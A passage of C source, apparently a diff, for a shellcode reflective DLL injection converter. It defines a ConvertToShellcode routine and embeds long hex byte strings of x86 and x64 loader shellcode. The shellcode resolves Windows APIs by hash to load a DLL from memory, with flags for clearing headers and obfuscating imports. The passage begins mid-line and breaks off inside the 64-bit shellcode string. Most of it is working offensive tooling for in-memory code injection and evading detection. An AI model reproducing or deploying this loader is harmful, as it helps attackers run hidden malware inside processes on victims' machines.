ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift))) +#define RVA(type, base, rva) (type)((ULONG_PTR) base + rva) + +#define SRDI_CLEARHEADER 0x1 +#define SRDI_CLEARMEMORY 0x2 +#define SRDI_OBFUSCATEIMPORTS 0x4 +#define SRDI_PASS_SHELLCODE_BASE 0x8 + +BOOL Is64BitDLL(UINT_PTR uiLibraryAddress) +{ + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew); + + if (pNtHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) return TRUE; + else return FALSE; +} + +BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength, DWORD flags, LPSTR *outBytes, DWORD *outLength) +{ + const char* rdiShellcode = NULL; + DWORD rdiShellcodeLength, dllOffset, userDataLocation; + +#if 0 // _DEBUG + LPSTR rdiShellcode64 = NULL, rdiShellcode32 = NULL; + DWORD rdiShellcode64Length = 0, rdiShellcode32Length = 0; + GetFileContents("../bin/ShellcodeRDI_x64.bin", &rdiShellcode64, rdiShellcode64Length); + GetFileContents("../bin/ShellcodeRDI_x86.bin", &rdiShellcode32, rdiShellcode32Length); + +#else + //MARKER:S + const char* rdiShellcode32 = "\x81\xEC\x14\x01\x00\x00\x53\x55\x56\x57\x6A\x6B\x58\x6A\x65\x66\x89\x84\x24\xCC\x00\x00\x00\x33\xED\x58\x6A\x72\x59\x6A\x6E\x5B\x6A\x6C\x5A\x6A\x33\x66\x89\x84\x24\xCE\x00\x00\x00\x66\x89\x84\x24\xD4\x00\x00\x00\x58\x6A\x32\x66\x89\x84\x24\xD8\x00\x00\x00\x58\x6A\x2E\x66\x89\x84\x24\xDA\x00\x00\x00\x58\x6A\x64\x66\x89\x84\x24\xDC\x00\x00\x00\x58\x89\xAC\x24\xB4\x00\x00\x00\x89\x6C\x24\x38\x89\xAC\x24\xBC\x00\x00\x00\x89\xAC\x24\xC4\x00\x00\x00\x89\xAC\x24\xB8\x00\x00\x00\x89\xAC\x24\xB0\x00\x00\x00\x89\xAC\x24\xE0\x00\x00\x00\x66\x89\x8C\x24\xCC\x00\x00\x00\x66\x89\x9C\x24\xCE\x00\x00\x00\x66\x89\x94\x24\xD2\x00\x00\x00\x66\x89\x84\x24\xDA\x00\x00\x00\x66\x89\x94\x24\xDC\x00\x00\x00\x66\x89\x94\x24\xDE\x00\x00\x00\xC6\x44\x24\x3C\x53\x88\x54\x24\x3D\x66\xC7\x44\x24\x3E\x65\x65\xC6\x44\x24\x40\x70\x66\xC7\x44\x24\x50\x4C\x6F\xC6\x44\x24\x52\x61\x88\x44\x24\x53\x66\xC7\x44\x24\x54\x4C\x69\xC6\x44\x24\x56\x62\x88\x4C\x24\x57\xC6\x44\x24\x58\x61\x88\x4C\x24\x59\x66\xC7\x44\x24\x5A\x79\x41\x66\xC7\x44\x24\x44\x56\x69\x88\x4C\x24\x46\x66\xC7\x44\x24\x47\x74\x75\xC6\x44\x24\x49\x61\x88\x54\x24\x4A\xC6\x44\x24\x4B\x41\x88\x54\x24\x4C\x88\x54\x24\x4D\x66\xC7\x44\x24\x4E\x6F\x63\x66\xC7\x44\x24\x5C\x56\x69\x88\x4C\x24\x5E\x66\xC7\x44\x24\x5F\x74\x75\xC6\x44\x24\x61\x61\x88\x54\x24\x62\xC6\x44\x24\x63\x50\x88\x4C\x24\x64\xC7\x44\x24\x65\x6F\x74\x65\x63\xC6\x44\x24\x69\x74\xC6\x84\x24\x94\x00\x00\x00\x46\x88\x94\x24\x95\x00\x00\x00\xC7\x84\x24\x96\x00\x00\x00\x75\x73\x68\x49\x88\x9C\x24\x9A\x00\x00\x00\x66\xC7\x84\x24\x9B\x00\x00\x00\x73\x74\x88\x8C\x24\x9D\x00\x00\x00\xC7\x84\x24\x9E\x00\x00\x00\x75\x63\x74\x69\xC6\x84\x24\xA2\x00\x00\x00\x6F\x6A\x65\x59\x88\x8C\x24\xA8\x00\x00\x00\x88\x4C\x24\x6D\x88\x4C\x24\x74\x88\x4C\x24\x79\x88\x8C\x24\x92\x00\x00\x00\xB9\x13\x9C\xBF\xBD\x88\x9C\x24\xA3\x00\x00\x00\xC7\x84\x24\xA4\x00\x00\x00\x43\x61\x63\x68\xC6\x44\x24\x6C\x47\xC7\x44\x24\x6E\x74\x4E\x61\x74\x66\xC7\x44\x24\x72\x69\x76\xC7\x44\x24\x75\x53\x79\x73\x74\x66\xC7\x44\x24\x7A\x6D\x49\x88\x5C\x24\x7C\x66\xC7\x44\x24\x7D\x66\x6F\x66\xC7\x84\x24\x80\x00\x00\x00\x52\x74\x88\x94\x24\x82\x00\x00\x00\xC6\x84\x24\x83\x00\x00\x00\x41\x88\x84\x24\x84\x00\x00\x00\x88\x84\x24\x85\x00\x00\x00\x66\xC7\x84\x24\x86\x00\x00\x00\x46\x75\x88\x9C\x24\x88\x00\x00\x00\xC7\x84\x24\x89\x00\x00\x00\x63\x74\x69\x6F\x88\x9C\x24\x8D\x00\x00\x00\x66\xC7\x84\x24\x8E\x00\x00\x00\x54\x61\xC6\x84\x24\x90\x00\x00\x00\x62\x88\x94\x24\x91\x00\x00\x00\xE8\x49\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x8B\xF0\xE8\x3D\x08\x00\x00\x8B\xD8\x8D\x84\x24\xC8\x00\x00\x00\x6A\x18\x89\x84\x24\xEC\x00\x00\x00\x58\x66\x89\x84\x24\xE6\x00\x00\x00\x66\x89\x84\x24\xE4\x00\x00\x00\x8D\x44\x24\x1C\x50\x8D\x84\x24\xE8\x00\x00\x00\x89\x5C\x24\x38\x50\x55\x55\xFF\xD6\x6A\x0C\x5F\x8D\x44\x24\x44\x66\x89\x7C\x24\x10\x89\x44\x24\x14\x8D\x44\x24\x38\x50\x55\x8D\x44\x24\x18\x66\x89\x7C\x24\x1A\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x0E\x58\x66\x89\x44\x24\x10\x66\x89\x44\x24\x12\x8D\x44\x24\x5C\x89\x44\x24\x14\x8D\x84\x24\xB8\x00\x00\x00\x50\x55\x8D\x44\x24\x18\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x15\x58\x66\x89\x44\x24\x10\x66\x89\x44\x24\x12\x8D\x84\x24\x94\x00\x00\x00\x89\x44\x24\x14\x8D\x84\x24\xBC\x00\x00\x00\x50\x55\x8D\x44\x24\x18\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x13\x5E\x8D\x44\x24\x6C\x66\x89\x74\x24\x10\x89\x44\x24\x14\x8D\x84\x24\xC4\x00\x00\x00\x50\x55\x8D\x44\x24\x18\x66\x89\x74\x24\x1A\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x05\x58\x66\x89\x44\x24\x10\x66\x89\x44\x24\x12\x8D\x44\x24\x3C\x89\x44\x24\x14\x8D\x84\x24\xB0\x00\x00\x00\x50\x55\x8D\x44\x24\x18\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x84\x24\x80\x00\x00\x00\x66\x89\x74\x24\x10\x89\x44\x24\x14\x8D\x84\x24\xE0\x00\x00\x00\x50\x55\x8D\x44\x24\x18\x66\x89\x74\x24\x1A\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x44\x24\x50\x66\x89\x7C\x24\x10\x89\x44\x24\x14\x8D\x84\x24\xB4\x00\x00\x00\x50\x55\x8D\x44\x24\x18\x66\x89\x7C\x24\x1A\x50\xFF\x74\x24\x28\xFF\xD3\x39\x6C\x24\x38\x0F\x84\xD2\x06\x00\x00\x39\xAC\x24\xB8\x00\x00\x00\x0F\x84\xC5\x06\x00\x00\x39\xAC\x24\xB0\x00\x00\x00\x0F\x84\xB8\x06\x00\x00\x39\xAC\x24\xBC\x00\x00\x00\x0F\x84\xAB\x06\x00\x00\x8B\xAC\x24\xC4\x00\x00\x00\x85\xED\x0F\x84\x9C\x06\x00\x00\x8B\xBC\x24\x28\x01\x00\x00\x8B\x77\x3C\x03\xF7\x81\x3E\x50\x45\x00\x00\x0F\x85\x84\x06\x00\x00\xB8\x4C\x01\x00\x00\x66\x39\x46\x04\x0F\x85\x75\x06\x00\x00\x8B\x46\x38\xA8\x01\x0F\x85\x6A\x06\x00\x00\x0F\xB7\x4E\x14\x33\xDB\x0F\xB7\x56\x06\x83\xC1\x24\x85\xD2\x74\x28\x03\xCE\x83\x79\x04\x00\x8B\x39\x74\x03\x8B\x41\x04\x03\xC7\x3B\xC3\x0F\x46\xC3\x83\xC1\x28\x8B\xD8\x8B\x46\x38\x83\xEA\x01\x75\xE1\x8B\xBC\x24\x28\x01\x00\x00\x8D\x84\x24\x00\x01\x00\x00\x50\xFF\xD5\x8B\x8C\x24\x04\x01\x00\x00\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6E\x50\x8D\x41\xFF\x03\xC3\x23\xEA\x23\xC2\x3B\xE8\x0F\x85\x04\x06\x00\x00\x6A\x04\x68\x00\x30\x00\x00\x55\xFF\x76\x34\xFF\x54\x24\x48\x8B\xD8\x89\x5C\x24\x30\x85\xDB\x75\x13\x6A\x04\x68\x00\x30\x00\x00\x55\x50\xFF\x54\x24\x48\x8B\xD8\x89\x44\x24\x30\xF6\x84\x24\x3C\x01\x00\x00\x01\x74\x23\x8B\x47\x3C\x89\x43\x3C\x8B\x4F\x3C\x3B\x4E\x54\x73\x2E\x8B\xEF\x8D\x14\x0B\x2B\xEB\x8A\x04\x2A\x41\x88\x02\x42\x3B\x4E\x54\x72\xF4\xEB\x19\x33\xED\x39\x6E\x54\x76\x12\x8B\xD7\x8B\xCB\x2B\xD3\x8A\x04\x11\x45\x88\x01\x41\x3B\x6E\x54\x72\xF4\x8B\x6B\x3C\x33\xC9\x03\xEB\x89\x4C\x24\x18\x33\xC0\x89\x6C\x24\x24\x0F\xB7\x75\x14\x83\xC6\x28\x66\x3B\x45\x06\x73\x3E\x03\xF5\x83\x64\x24\x20\x00\x83\x3E\x00\x76\x22\x8B\x6C\x24\x20\x8B\x46\x04\x8D\x14\x2B\x8B\x4E\xFC\x03\xC5\x45\x8A\x04\x38\x88\x04\x0A\x3B\x2E\x72\xEA\x8B\x6C\x24\x24\x8B\x4C\x24\x18\x0F\xB7\x45\x06\x41\x83\xC6\x28\x89\x4C\x24\x18\x3B\xC8\x72\xC4\x8B\xC3\x2B\x45\x34\x89\x44\x24\x20\x0F\x84\xB8\x00\x00\x00\x83\xBD\xA4\x00\x00\x00\x00\x0F\x84\xAB\x00\x00\x00\x8B\xB5\xA0\x00\x00\x00\x03\xF3\x83\x3E\x00\x0F\x84\x9A\x00\x00\x00\x8B\xE8\x8D\x7E\x08\xEB\x74\x0F\xB7\x0F\x66\x8B\xC1\x0F\xB7\xD1\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75\x20\x8B\x16\x81\xE1\xFF\x0F\x00\x00\x89\x4C\x24\x20\x8D\x04\x1A\x8B\x0C\x08\x8D\x04\x1A\x8B\x54\x24\x20\x03\xCD\x89\x0C\x10\xEB\x3C\x66\x83\xF8\x03\x75\x0F\x8B\x06\x81\xE2\xFF\x0F\x00\x00\x03\xD3\x01\x2C\x02\xEB\x27\x33\xC9\x41\x66\x3B\xC1\x75\x07\x8B\xC5\xC1\xE8\x10\xEB\x0B\x6A\x02\x59\x66\x3B\xC1\x75\x10\x0F\xB7\xC5\x8B\x0E\x81\xE2\xFF\x0F\x00\x00\x03\xD3\x01\x04\x0A\x6A\x02\x58\x03\xF8\x8B\x46\x04\x03\xC6\x3B\xF8\x75\x83\x83\x3F\x00\x8B\xF7\x0F\x85\x73\xFF\xFF\xFF\x8B\x6C\x24\x24\x8B\xBC\x24\x28\x01\x00\x00\x83\xBD\x84\x00\x00\x00\x00\x0F\x84\xEF\x01\x00\x00\x8B\xB5\x80\x00\x00\x00\x33\xC0\x89\x84\x24\xAC\x00\x00\x00\x8D\x0C\x1E\x89\x4C\x24\x20\x83\xC1\x0C\x39\x01\x74\x10\x8D\x49\x14\x40\x83\x39\x00\x75\xF7\x89\x84\x24\xAC\x00\x00\x00\xF6\x84\x24\x3C\x01\x00\x00\x04\x8B\xD6\x0F\x84\xCF\x00\x00\x00\x33\xC9\x41\x3B\xC1\x0F\x86\xC4\x00\x00\x00\x8B\x8C\x24\x3C\x01\x00\x00\x8D\x50\xFF\x83\xA4\x24\xC0\x00\x00\x00\x00\x89\x54\x24\x28\x8B\xD6\xC1\xE9\x10\x8D\x70\xFF\x89\x4C\x24\x18\x85\xF6\x0F\x84\xA2\x00\x00\x00\x8B\x74\x24\x20\x8B\xDE\x8B\xAC\x24\xC0\x00\x00\x00\x8B\xC8\x69\xFF\xFD\x43\x03\x00\x2B\xCD\x33\xD2\xB8\xFF\x7F\x00\x00\xF7\xF1\x81\xC7\xC3\x9E\x26\x00\x33\xD2\x89\xBC\x24\x28\x01\x00\x00\x6A\x05\x8D\x48\x01\x8B\xC7\xC1\xE8\x10\x8D\xBC\x24\xF0\x00\x00\x00\x25\xFF\x7F\x00\x00\xF7\xF1\x59\x03\xC5\x6B\xC0\x14\x6A\x05\x03\xC6\x45\x8B\xF0\xF3\xA5\x59\x8B\xF3\x8B\xF8\x8B\x84\x24\xAC\x00\x00\x00\xF3\xA5\x6A\x05\x8B\xFB\x8D\xB4\x24\xF0\x00\x00\x00\x59\xF3\xA5\x8B\xBC\x24\x28\x01\x00\x00\x83\xC3\x14\x8B\x74\x24\x20\x3B\x6C\x24\x28\x72\x87\x8B\x6C\x24\x24\x8B\x5C\x24\x30\x8B\x4C\x24\x18\x8B\x95\x80\x00\x00\x00\xEB\x08\x8B\x4C\x24\x28\x89\x4C\x24\x18\x8D\x3C\x1A\x8B\x57\x0C\x89\x7C\x24\x30\x85\xD2\x0F\x84\xC9\x00\x00\x00\x8B\xC1\x23\x84\x24\x3C\x01\x00\x00\x83\xE0\x04\x89\x84\x24\xC0\x00\x00\x00\x8D\x04\x1A\x50\xFF\x94\x24\xB8\x00\x00\x00\x8B\xD0\x89\x54\x24\x1C\x8B\x37\x8B\x6F\x10\x03\xF3\x03\xEB\x8B\x0E\x85\xC9\x74\x5A\x8B\x7C\x24\x34\x85\xC9\x79\x09\x0F\xB7\x06\x55\x50\x6A\x00\xEB\x30\x83\xC1\x02\x33\xC0\x03\xCB\x89\x4C\x24\x28\x38\x01\x74\x0B\x40\x41\x80\x39\x00\x75\xF9\x8B\x4C\x24\x28\x55\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x14\x6A\x00\x89\x4C\x24\x1C\x50\x52\xFF\xD7\x83\xC6\x04\x83\xC5\x04\x8B\x0E\x85\xC9\x74\x06\x8B\x54\x24\x1C\xEB\xAE\x8B\x7C\x24\x30\x83\xBC\x24\xC0\x00\x00\x00\x00\x74\x1C\x33\xC0\x40\x39\x84\x24\xAC\x00\x00\x00\x76\x10\x69\x44\x24\x18\xE8\x03\x00\x00\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\x57\x20\x83\xC7\x14\x89\x7C\x24\x30\x85\xD2\x0F\x85\x4E\xFF\xFF\xFF\x8B\x6C\x24\x24\x83\xBD\xE4\x00\x00\x00\x00\x6A\x20\x5A\x0F\x84\xAF\x00\x00\x00\x8B\x85\xE0\x00\x00\x00\x83\xC0\x04\x03\xC3\x89\x44\x24\x18\x8B\x00\x85\xC0\x0F\x84\x96\x00\x00\x00\x8B\x6C\x24\x18\x03\xC3\x50\xFF\x94\x24\xB8\x00\x00\x00\x8B\xC8\x89\x4C\x24\x1C\x8B\x75\x08\x8B\x7D\x0C\x03\xF3\x03\xFB\x83\x3E\x00\x74\x5B\x8B\x6C\x24\x34\x8B\x17\x85\xD2\x79\x09\x56\x0F\xB7\xC2\x50\x6A\x00\xEB\x30\x83\xC2\x02\x33\xC0\x03\xD3\x89\x54\x24\x28\x38\x02\x74\x0B\x40\x42\x80\x3A\x00\x75\xF9\x8B\x54\x24\x28\x56\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x14\x6A\x00\x89\x54\x24\x1C\x50\x51\xFF\xD5\x83\xC6\x04\x83\xC7\x04\x83\x3E\x00\x74\x06\x8B\x4C\x24\x1C\xEB\xAD\x8B\x6C\x24\x18\x6A\x20\x5A\x03\xEA\x89\x6C\x24\x18\x8B\x45\x00\x85\xC0\x0F\x85\x72\xFF\xFF\xFF\x8B\x6C\x24\x24\x0F\xB7\x75\x14\x33\xC0\x83\xC6\x28\x33\xFF\x66\x3B\x45\x06\x0F\x83\x81\x00\x00\x00\x03\xF5\x83\x3E\x00\x74\x6B\x8B\x4E\x14\x8B\xC1\x25\x00\x00\x00\x40\xF7\xC1\x00\x00\x00\x20\x75\x18\x85\xC0\x75\x0D\x6A\x08\x58\x6A\x01\x85\xC9\x59\x0F\x49\xC1\xEB\x1D\x6A\x04\x58\x6A\x02\xEB\xF1\x85\xC0\x75\x0A\x6A\x10\xB8\x80\x00\x00\x00\x5A\xEB\x03\x6A\x40\x58\x85\xC9\x0F\x49\xC2\x89\x44\x24\x2C\xF7\x46\x14\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89\x44\x24\x2C\x8D\x4C\x24\x2C\x51\x50\x8B\x46\xFC\xFF\x36\x03\xC3\x50\xFF\x94\x24\xC8\x00\x00\x00\x0F\xB7\x45\x06\x47\x83\xC6\x28\x6A\x20\x5A\x3B\xF8\x72\x81\x6A\x00\x6A\x00\x6A\xFF\xFF\x94\x24\xC8\x00\x00\x00\x83\xBD\xC4\x00\x00\x00\x00\x74\x26\x8B\x85\xC0\x00\x00\x00\x8B\x74\x18\x0C\x8B\x06\x85\xC0\x74\x16\x33\xED\x45\x6A\x00\x55\x53\xFF\xD0\x8D\x76\x04\x8B\x06\x85\xC0\x75\xF1\x8B\x6C\x24\x24\x33\xC0\x40\x50\x50\x8B\x45\x28\x53\x03\xC3\xFF\xD0\x83\xBC\x24\x2C\x01\x00\x00\x00\x0F\x84\xC3\x00\x00\x00\x83\x7D\x7C\x00\x0F\x84\xB9\x00\x00\x00\x8B\x55\x78\x03\xD3\x8B\x6A\x18\x85\xED\x0F\x84\xA9\x00\x00\x00\x83\x7A\x14\x00\x0F\x84\x9F\x00\x00\x00\x8B\x7A\x20\x8B\x4A\x24\x03\xFB\x83\x64\x24\x34\x00\x03\xCB\x85\xED\x0F\x84\x88\x00\x00\x00\x8B\x37\x6A\x00\x58\x89\x44\x24\x18\x03\xF3\x74\x7B\x8A\x06\x84\xC0\x74\x2B\x8B\x6C\x24\x18\x0F\xBE\xC0\x03\xE8\xC1\xCD\x0D\x46\x8A\x06\x84\xC0\x75\xF1\x89\x6C\x24\x18\x8B\x44\x24\x18\x8B\x6A\x18\x39\x84\x24\x2C\x01\x00\x00\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x34\x83\xC7\x04\x40\x83\xC1\x02\x89\x44\x24\x34\x3B\xC5\x72\xAF\xEB\x35\x0F\xB7\x09\x8B\x42\x1C\x8D\x04\x88\x8B\x04\x18\x03\xC3\xF6\x84\x24\x3C\x01\x00\x00\x08\x74\x0B\x6A\x04\xFF\xB4\x24\x3C\x01\x00\x00\xEB\x0E\xFF\xB4\x24\x34\x01\x00\x00\xFF\xB4\x24\x34\x01\x00\x00\xFF\xD0\x59\x59\x8B\xC3\xEB\x02\x33\xC0\x5F\x5E\x5D\x5B\x81\xC4\x14\x01\x00\x00\xC3\x83\xEC\x14\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x1C\x8B\x78\x0C\xE9\xA5\x00\x00\x00\x8B\x47\x30\x33\xF6\x8B\x5F\x2C\x8B\x3F\x89\x44\x24\x10\x8B\x42\x3C\x89\x7C\x24\x14\x8B\x6C\x10\x78\x89\x6C\x24\x18\x85\xED\x0F\x84\x80\x00\x00\x00\xC1\xEB\x10\x33\xC9\x85\xDB\x74\x2F\x8B\x7C\x24\x10\x0F\xBE\x2C\x0F\xC1\xCE\x0D\x80\x3C\x0F\x61\x89\x6C\x24\x10\x7C\x09\x8B\xC5\x83\xC0\xE0\x03\xF0\xEB\x04\x03\x74\x24\x10\x41\x3B\xCB\x72\xDD\x8B\x7C\x24\x14\x8B\x6C\x24\x18\x8B\x44\x2A\x20\x33\xDB\x8B\x4C\x2A\x18\x03\xC2\x89\x4C\x24\x10\x85\xC9\x74\x34\x8B\x38\x33\xED\x03\xFA\x83\xC0\x04\x89\x44\x24\x20\x8A\x0F\xC1\xCD\x0D\x0F\xBE\xC1\x03\xE8\x47\x84\xC9\x75\xF1\x8B\x7C\x24\x14\x8D\x04\x2E\x3B\x44\x24\x1C\x74\x20\x8B\x44\x24\x20\x43\x3B\x5C\x24\x10\x72\xCC\x8B\x57\x18\x85\xD2\x0F\x85\x50\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x14\xC3\x8B\x74\x24\x18\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB"; + const char* rdiShellcode64 = "\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x8D\x6C\x24\x90\x48\x81\xEC\x70\x01\x00\x00\x45\x33\xFF\xC7\x45\xD0\x6B\x00\x65\x00\x48\x8B\xF1\x4C\x89\x7D\xF8\xB9\x13\x9C\xBF\xBD\x4C\x89\x7D\xC8\x44\x8B\xEA\x4C\x89\x7D\x08\x45\x8D\x4F\x65\x4C\x89\x7D\x10\x44\x88\x4D\xBC\x44\x88\x4D\xA2\x4C\x89\x7D\x00\x4C\x89\x7D\xE8\x4C\x89\x7D\x18\x44\x89\x7D\x24\x44\x89\x7C\x24\x24\xC7\x45\xD4\x72\x00\x6E\x00\xC7\x45\xD8\x65\x00\x6C\x00\xC7\x45\xDC\x33\x00\x32\x00\xC7\x45\xE0\x2E\x00\x64\x00\xC7\x45\xE4\x6C\x00\x6C\x00\xC7\x44\x24\x40\x53\x6C\x65\x65\xC6\x44\x24\x44\x70\xC7\x44\x24\x58\x4C\x6F\x61\x64\xC7\x44\x24\x5C\x4C\x69\x62\x72\xC7\x44\x24\x60\x61\x72\x79\x41\xC7\x44\x24\x48\x56\x69\x72\x74\xC7\x44\x24\x4C\x75\x61\x6C\x41\xC7\x44\x24\x50\x6C\x6C\x6F\x63\xC7\x44\x24\x68\x56\x69\x72\x74\xC7\x44\x24\x6C\x75\x61\x6C\x50\xC7\x44\x24\x70\x72\x6F\x74\x65\x66\xC7\x44\x24\x74\x63\x74\xC7\x45\xA8\x46\x6C\x75\x73\xC7\x45\xAC\x68\x49\x6E\x73\xC7\x45\xB0\x74\x72\x75\x63\xC7\x45\xB4\x74\x69\x6F\x6E\xC7\x45\xB8\x43\x61\x63\x68\xC7\x44\x24\x78\x47\x65\x74\x4E\xC7\x44\x24\x7C\x61\x74\x69\x76\xC7\x45\x80\x65\x53\x79\x73\xC7\x45\x84\x74\x65\x6D\x49\x66\xC7\x45\x88\x6E\x66\xC6\x45\x8A\x6F\xC7\x45\x90\x52\x74\x6C\x41\xC7\x45\x94\x64\x64\x46\x75\xC7\x45\x98\x6E\x63\x74\x69\xC7\x45\x9C\x6F\x6E\x54\x61\x66\xC7\x45\xA0\x62\x6C\xE8\x64\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x48\x8B\xD8\xE8\x57\x08\x00\x00\x4C\x8B\xE0\x48\x89\x45\xF0\x48\x8D\x45\xD0\xC7\x45\x20\x18\x00\x18\x00\x4C\x8D\x4C\x24\x38\x48\x89\x45\x28\x4C\x8D\x45\x20\x33\xD2\x33\xC9\xFF\xD3\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x48\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\xC8\xC7\x44\x24\x20\x0C\x00\x0C\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x68\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\x00\xC7\x44\x24\x20\x0E\x00\x0E\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\xC7\x44\x24\x20\x15\x00\x15\x00\x48\x8B\x4C\x24\x38\x48\x8D\x45\xA8\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\x08\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x78\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\x10\xC7\x44\x24\x20\x13\x00\x13\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x40\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\xE8\xC7\x44\x24\x20\x05\x00\x05\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x45\x90\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\x18\xC7\x44\x24\x20\x13\x00\x13\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x58\x45\x33\xC0\x48\x89\x44\x24\x28\x4C\x8D\x4D\xF8\xC7\x44\x24\x20\x0C\x00\x0C\x00\x48\x8D\x54\x24\x20\x41\xFF\xD4\x4C\x39\x7D\xC8\x0F\x84\x03\x07\x00\x00\x4C\x39\x7D\x00\x0F\x84\xF9\x06\x00\x00\x4C\x39\x7D\xE8\x0F\x84\xEF\x06\x00\x00\x4C\x39\x7D\x08\x0F\x84\xE5\x06\x00\x00\x4C\x8B\x4D\x10\x4D\x85\xC9\x0F\x84\xD8\x06\x00\x00\x48\x63\x7E\x3C\x48\x03\xFE\x81\x3F\x50\x45\x00\x00\x0F\x85\xC5\x06\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\xB6\x06\x00\x00\x44\x8B\x47\x38\x45\x8D\x5F\x01\x45\x84\xC3\x0F\x85\xA5\x06\x00\x00\x0F\xB7\x4F\x14\x41\x8B\xDF\x48\x83\xC1\x24\x66\x44\x3B\x7F\x06\x73\x29\x44\x0F\xB7\x57\x06\x48\x03\xCF\x8B\x41\x04\x8B\x11\x85\xC0\x75\x06\x41\x8D\x04\x10\xEB\x02\x03\xC2\x3B\xC3\x0F\x46\xC3\x48\x83\xC1\x28\x8B\xD8\x4D\x2B\xD3\x75\xDF\x48\x8D\x4D\x38\x41\xFF\xD1\x8B\x55\x3C\x44\x8B\xC2\x44\x8D\x72\xFF\xF7\xDA\x44\x03\x77\x50\x49\x8D\x48\xFF\x8B\xC2\x4C\x23\xF0\x8B\xC3\x48\x03\xC8\x49\x8D\x40\xFF\x48\xF7\xD0\x48\x23\xC8\x4C\x3B\xF1\x0F\x85\x32\x06\x00\x00\x48\x8B\x4F\x30\x41\xB9\x04\x00\x00\x00\x41\xB8\x00\x30\x00\x00\x49\x8B\xD6\xFF\x55\xC8\x48\x8B\xD8\x48\x85\xC0\x75\x15\x44\x8D\x48\x04\x41\xB8\x00\x30\x00\x00\x49\x8B\xD6\x33\xC9\xFF\x55\xC8\x48\x8B\xD8\x41\xBB\x01\x00\x00\x00\x44\x84\x9D\xD8\x00\x00\x00\x74\x1D\x8B\x46\x3C\x89\x43\x3C\x8B\x56\x3C\xEB\x0B\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\xEB\x19\x41\x8B\xD7\x44\x39\x7F\x54\x76\x10\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\x48\x63\x7B\x3C\x45\x8B\xD7\x48\x03\xFB\x48\x89\x7D\x30\x44\x0F\xB7\x47\x14\x49\x83\xC0\x28\x66\x44\x3B\x7F\x06\x73\x3A\x4C\x03\xC7\x45\x8B\xCF\x45\x39\x38\x76\x1F\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCB\x48\x03\xC8\x48\x03\xD0\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE1\x0F\xB7\x47\x06\x45\x03\xD3\x49\x83\xC0\x28\x44\x3B\xD0\x72\xC9\x4C\x8B\xF3\x41\xB8\x02\x00\x00\x00\x4C\x2B\x77\x30\x0F\x84\xD6\x00\x00\x00\x44\x39\xBF\xB4\x00\x00\x00\x0F\x84\xC9\x00\x00\x00\x44\x8B\x8F\xB0\x00\x00\x00\x4C\x03\xCB\x45\x39\x39\x0F\x84\xB6\x00\x00\x00\x4D\x8D\x51\x08\xE9\x91\x00\x00\x00\x45\x0F\xB7\x1A\x41\x0F\xB7\xCB\x41\x0F\xB7\xC3\x66\xC1\xE9\x0C\x66\x83\xF9\x0A\x75\x29\x45\x8B\x01\x41\x81\xE3\xFF\x0F\x00\x00\x4B\x8D\x04\x18\x48\x8B\x14\x18\x4B\x8D\x04\x18\x41\xBB\x01\x00\x00\x00\x49\x03\xD6\x48\x89\x14\x18\x45\x8D\x43\x01\xEB\x4F\x41\xBB\x01\x00\x00\x00\x66\x83\xF9\x03\x75\x0E\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x8B\xC6\xEB\x2E\x66\x41\x3B\xCB\x75\x15\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x49\x8B\xC6\x48\xC1\